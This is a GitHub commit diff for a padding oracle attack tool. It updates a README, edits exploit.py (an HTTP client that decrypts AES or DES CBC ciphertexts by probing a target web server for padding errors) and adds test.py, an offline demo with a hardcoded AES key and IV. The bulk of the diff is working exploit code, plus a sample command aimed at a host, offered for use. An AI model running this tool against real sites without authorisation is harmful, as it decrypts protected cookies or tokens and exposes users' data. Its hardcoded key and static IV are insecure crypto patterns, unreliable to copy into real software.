Skip to content

Commit 1ea1aa1

Browse files
committed
Add test script to launche the attack without target
1 parent f9f8db2 commit 1ea1aa1

File tree

3 files changed

+211
-15
lines changed

3 files changed

+211
-15
lines changed

README.md

+13-6
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,8 @@ An exploit for the [Padding Oracle Attack](https://en.wikipedia.org/wiki/Padding
44
This is an implementation of this great article [Padding Oracle Attack](https://not.burntout.org/blog/Padding_Oracle_Attack/). Since the article is not very well formated and maybe unclear, I made an explanation in the readme. i advise you to read it if you want to understand the basics of the attack.
55
This exploit allow block size of 8 or 16 this mean it can be use even if the cipher use AES or DES. You can find instructions to launch the attack [here](https://github.com/mpgn/Padding-Oracle-Attack#options).
66

7+
I also made a test file `test.py`, you don't need a target to use it :)
8+
79
## Explanation
810

911
I will explain in this part the cryptography behind the attack. To follow this you need to understand the [CBC mode cipher chainning](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_.28CBC.29) or [video link](https://www.youtube.com/watch?v=0D7OwYp6ZEc.) and the operator ⊕. This attack is also a [chosen-ciphertext attack](https://en.wikipedia.org/wiki/Chosen-ciphertext_attack).
@@ -78,7 +80,7 @@ D<sub>k</sub>(C'<sub>i</sub>) ⊕ C'<sub>i-1</sub> <br>
7880
= D<sub>k</sub>(C'<sub>i</sub>) ⊕ C'<sub>i-1</sub> ⊕ 00000022 ⊕ 000000YX <br>
7981
= P'<sub>i</sub> ⊕ 00000001 ⊕ 00000YX <br>
8082

81-
* TThe oracle didn't give us a padding error and we know the byte X is good :
83+
* The oracle didn't give us a padding error and we know the byte X is good :
8284

8385
```
8486
If P'i ⊕ 000000YX == abcdef00 then:
@@ -95,13 +97,19 @@ etc etc for all the block. You can now launch the python script by reading the n
9597

9698
## Options
9799

100+
The test file :
101+
102+
```bash
103+
python test.py -m mysecretmessage
104+
```
105+
98106
```
99107
usage: exploit.py [-h] -c CIPHER -l LENGTH_BLOCK_CIPHER --host HOST -u
100-
URLTARGET --error ERROR [--iv IV] [--cookie COOKIE]
108+
URLTARGET --error ERROR [--cookie COOKIE]
101109
[--method METHOD] [--post POST] [-v]
102110
```
103111
Details required options:
104-
```
112+
```bash
105113
-h help
106114
-c cipher chain
107115
-l length of a block example: 8 or 16
@@ -112,15 +120,14 @@ Details required options:
112120
with DOM HTML : "<h2>Padding Error</h2>"
113121
```
114122
Optionnal options:
115-
```
116-
--iv The IV of the cipher if you have it, otherwise the first block will not be decipher
123+
```bash
117124
--cookie Cookie parameter example: PHPSESSID=9nnvje7p90b507shfmb94d7
118125
--method Default GET methode but can se POST etc
119126
--post POST parameter if you need example 'user':'value', 'pass':'value'
120127
```
121128
122129
Example:
123-
```
130+
```bash
124131
python exploit.py -c E3B3D1120F999F4CEF945BA8B9326D7C3C8A8B02178E59AF506666542AB5EF44 -l 16 --host host.com -u /index.aspx?c= -v --error "Padding Error"
125132
```
126133

exploit.py

+6-9
Original file line numberDiff line numberDiff line change
@@ -69,19 +69,16 @@ def block_padding(size_block, i):
6969
def hex_xor(s1,s2):
7070
return hexlify(''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(unhexlify(s1), cycle(unhexlify(s2)))))
7171

72-
def run(cipher,size_block,host,url,cookie,method,post,iv,error):
72+
def run(cipher,size_block,host,url,cookie,method,post,error):
7373
cipher = cipher.upper()
7474
found = False
7575
valide_value = []
7676
result = []
7777
len_block = size_block*2
7878
cipher_block = split_len(cipher, len_block)
7979

80-
if iv != '':
81-
cipher_block.insert(0,iv)
82-
83-
if len(cipher_block) == 1 and iv == '':
84-
print "[-] Abort there is only one block but no IV"
80+
if len(cipher_block) == 1:
81+
print "[-] Abort there is only one block"
8582
sys.exit()
8683
#for each cipher_block
8784
for block in reversed(range(1,len(cipher_block))):
@@ -129,6 +126,7 @@ def run(cipher,size_block,host,url,cookie,method,post,iv,error):
129126

130127
if args.verbose == True:
131128
print ''
129+
print "[+] HTTP ", response.status, response.reason
132130
print "[+] Block M_Byte : %s"% bk
133131
print "[+] Block C_{i-1}: %s"% bp
134132
print "[+] Block Padding: %s"% bc
@@ -144,7 +142,7 @@ def run(cipher,size_block,host,url,cookie,method,post,iv,error):
144142

145143
break
146144
if found == False:
147-
print "[-] Error decryption failed"
145+
print "\n[-] Error decryption failed"
148146
result.insert(0, ''.join(valide_value))
149147
hex_r = ''.join(result)
150148
print "[+] Partial Decrypted value (HEX):", hex_r.upper()
@@ -170,11 +168,10 @@ def run(cipher,size_block,host,url,cookie,method,post,iv,error):
170168
parser.add_argument("--host", required=True, help='url example: /page=')
171169
parser.add_argument('-u', "--urltarget", required=True, help='url example: /page=')
172170
parser.add_argument('--error', required=True, help='Error that oracle give us example: 404,500,200 OR in the dom example: "<h2>Padding Error<h2>"')
173-
parser.add_argument('--iv', help='IV of the CBC cipher mode', default="")
174171
parser.add_argument('--cookie', help='Cookie example: PHPSESSID=9nnvje7p90b507shfmb94d7', default="")
175172
parser.add_argument('--method', help='Type methode like POST GET default GET', default="GET")
176173
parser.add_argument('--post', help="POST data example: 'user':'value', 'pass':'value'", default="")
177174
parser.add_argument('-v', "--verbose", help='debug mode, you need a large screen', action="store_true")
178175
args = parser.parse_args()
179176

180-
run(args.cipher, args.length_block_cipher, args.host, args.urltarget, args.cookie, args.method, args.post, args.iv, args.error)
177+
run(args.cipher, args.length_block_cipher, args.host, args.urltarget, args.cookie, args.method, args.post, args.error)

test.py

+192
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
#! /usr/bin/python
2+
3+
'''
4+
Padding Oracle Attack implementation without remote server
5+
Check the readme for a full cryptographic explanation
6+
Author: mpgn <[email protected]>
7+
Date: 2016
8+
'''
9+
10+
import argparse
11+
import re
12+
import binascii
13+
import sys
14+
import time
15+
from binascii import unhexlify, hexlify
16+
from itertools import cycle, izip
17+
from Crypto.Cipher import AES
18+
from Crypto import Random
19+
20+
"""
21+
AES-CBC
22+
function encrypt, decrypt, pad, unpad)
23+
"""
24+
25+
def pad(s):
26+
return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)
27+
28+
def unpad(s):
29+
t = s.encode("hex")
30+
exe = re.findall('..',t)
31+
padding = int(exe[-1], 16)
32+
exe = exe[::-1]
33+
34+
if padding == 0 or padding > 16:
35+
return 0
36+
37+
for i in range(padding):
38+
if int(exe[i],16) != padding:
39+
return 0
40+
return s[:-ord(s[len(s)-1:])]
41+
42+
def encrypt( msg, iv):
43+
raw = pad(msg)
44+
key = Random.new().read( AES.block_size )
45+
cipher = AES.new('V38lKILOJmtpQMHp', AES.MODE_CBC, iv )
46+
return cipher.encrypt( raw ), iv
47+
48+
def decrypt( enc, iv ):
49+
decipher = AES.new('V38lKILOJmtpQMHp', AES.MODE_CBC, iv )
50+
return unpad(decipher.decrypt( enc ))
51+
52+
53+
54+
''' the function you want change to adapte the result to your problem '''
55+
def test_validity(error):
56+
if error != 404:
57+
return 1
58+
return 0
59+
60+
61+
def call_oracle(up_cipher, iv):
62+
if decrypt( up_cipher, iv ) == 0:
63+
return 404
64+
return 200
65+
66+
''' create custom block for the byte we search'''
67+
def block_search_byte(size_block, i, pos, l):
68+
hex_char = hex(pos).split('0x')[1]
69+
return "00"*(size_block-(i+1)) + ("0" if len(hex_char)%2 != 0 else '') + hex_char + ''.join(l)
70+
71+
''' create custom block for the padding'''
72+
def block_padding(size_block, i):
73+
l = []
74+
for t in range(0,i+1):
75+
l.append(("0" if len(hex(i+1).split('0x')[1])%2 != 0 else '') + (hex(i+1).split('0x')[1]))
76+
return "00"*(size_block-(i+1)) + ''.join(l)
77+
78+
# the exploit don't need to touch this part
79+
# split the cipher in len of size_block
80+
def split_len(seq, length):
81+
return [seq[i:i+length] for i in range(0, len(seq), length)]
82+
83+
def hex_xor(s1,s2):
84+
return hexlify(''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(unhexlify(s1), cycle(unhexlify(s2)))))
85+
86+
def run(cipher,size_block):
87+
cipher = cipher.upper()
88+
found = False
89+
valide_value = []
90+
result = []
91+
len_block = size_block*2
92+
cipher_block = split_len(cipher, len_block)
93+
94+
if len(cipher_block) == 1:
95+
print "[-] Abort there is only one block, i can't influence the IV. Tried a longer message"
96+
sys.exit()
97+
98+
#for each cipher_block
99+
for block in reversed(range(1,len(cipher_block))):
100+
if len(cipher_block[block]) != len_block:
101+
print "[-] Abort length block doesn't match the size_block"
102+
break
103+
print "[+] Search value block : ", block, "\n"
104+
#for each byte of the block
105+
for i in range(0,size_block):
106+
# test each byte max 255
107+
for ct_pos in range(0,256):
108+
# 1 xor 1 = 0 or valide padding need to be checked
109+
if ct_pos != i+1 or (len(valide_value) > 0 and int(valide_value[len(valide_value)-1],16) == ct_pos):
110+
111+
bk = block_search_byte(size_block, i, ct_pos, valide_value)
112+
bp = cipher_block[block-1]
113+
bc = block_padding(size_block, i)
114+
115+
tmp = hex_xor(bk,bp)
116+
cb = hex_xor(tmp,bc).upper()
117+
118+
up_cipher = cb + cipher_block[block]
119+
#time.sleep(0.5)
120+
121+
# we call the oracle, our god
122+
error = call_oracle(up_cipher.decode('hex'),iv)
123+
124+
if args.verbose == True:
125+
exe = re.findall('..',cb)
126+
discover = ('').join(exe[size_block-i:size_block])
127+
current = ('').join(exe[size_block-i-1:size_block-i])
128+
find_me = ('').join(exe[:-i-1])
129+
130+
sys.stdout.write("\r[+] Test [Byte %03i/256 - Block %d ]: \033[31m%s\033[33m%s\033[36m%s\033[0m" % (ct_pos, block, find_me, current, discover))
131+
sys.stdout.flush()
132+
133+
if test_validity(error):
134+
135+
found = True
136+
137+
# data analyse and insert in rigth order
138+
value = re.findall('..',bk)
139+
valide_value.insert(0,value[size_block-(i+1)])
140+
141+
if args.verbose == True:
142+
print ''
143+
print "[+] Block M_Byte : %s"% bk
144+
print "[+] Block C_{i-1}: %s"% bp
145+
print "[+] Block Padding: %s"% bc
146+
print ''
147+
148+
bytes_found = ''.join(valide_value)
149+
if i == 0 and bytes_found.decode("hex") > hex(size_block):
150+
print "[-] Error decryption failed the padding is > 16"
151+
sys.exit()
152+
153+
print '\033[36m' + '\033[1m' + "[+]" + '\033[0m' + " Found", i+1, "bytes :", bytes_found
154+
print ''
155+
156+
break
157+
if found == False:
158+
print "\n[-] Error decryption failed"
159+
result.insert(0, ''.join(valide_value))
160+
hex_r = ''.join(result)
161+
if len(hex_r) > 0:
162+
print "[+] Partial Decrypted value (HEX):", hex_r.upper()
163+
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
164+
print "[+] Partial Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")
165+
sys.exit()
166+
found = False
167+
168+
result.insert(0, ''.join(valide_value))
169+
valide_value = []
170+
171+
print ''
172+
hex_r = ''.join(result)
173+
print "[+] Decrypted value (HEX):", hex_r.upper()
174+
padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
175+
print "[+] Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")
176+
177+
return hex_r[0:-(padding*2)].decode("hex")
178+
179+
if __name__ == '__main__':
180+
181+
parser = argparse.ArgumentParser(description='Exploit of Padding Oracle Attack')
182+
parser.add_argument('-m', "--message", required=True, help='message to pown')
183+
parser.add_argument('-v', "--verbose", help='debug mode, you need a large screen', action="store_true")
184+
args = parser.parse_args()
185+
186+
print "[+] Encrypt", args.message
187+
cipher, iv = encrypt(args.message, "1234567812345678")
188+
cipher_intercepted = cipher.encode("hex")
189+
print "[+] %s ---> %s" % (args.message, cipher_intercepted)
190+
plaintext = decrypt(cipher, iv)
191+
192+
run(cipher_intercepted,16)

0 commit comments

Comments
 (0)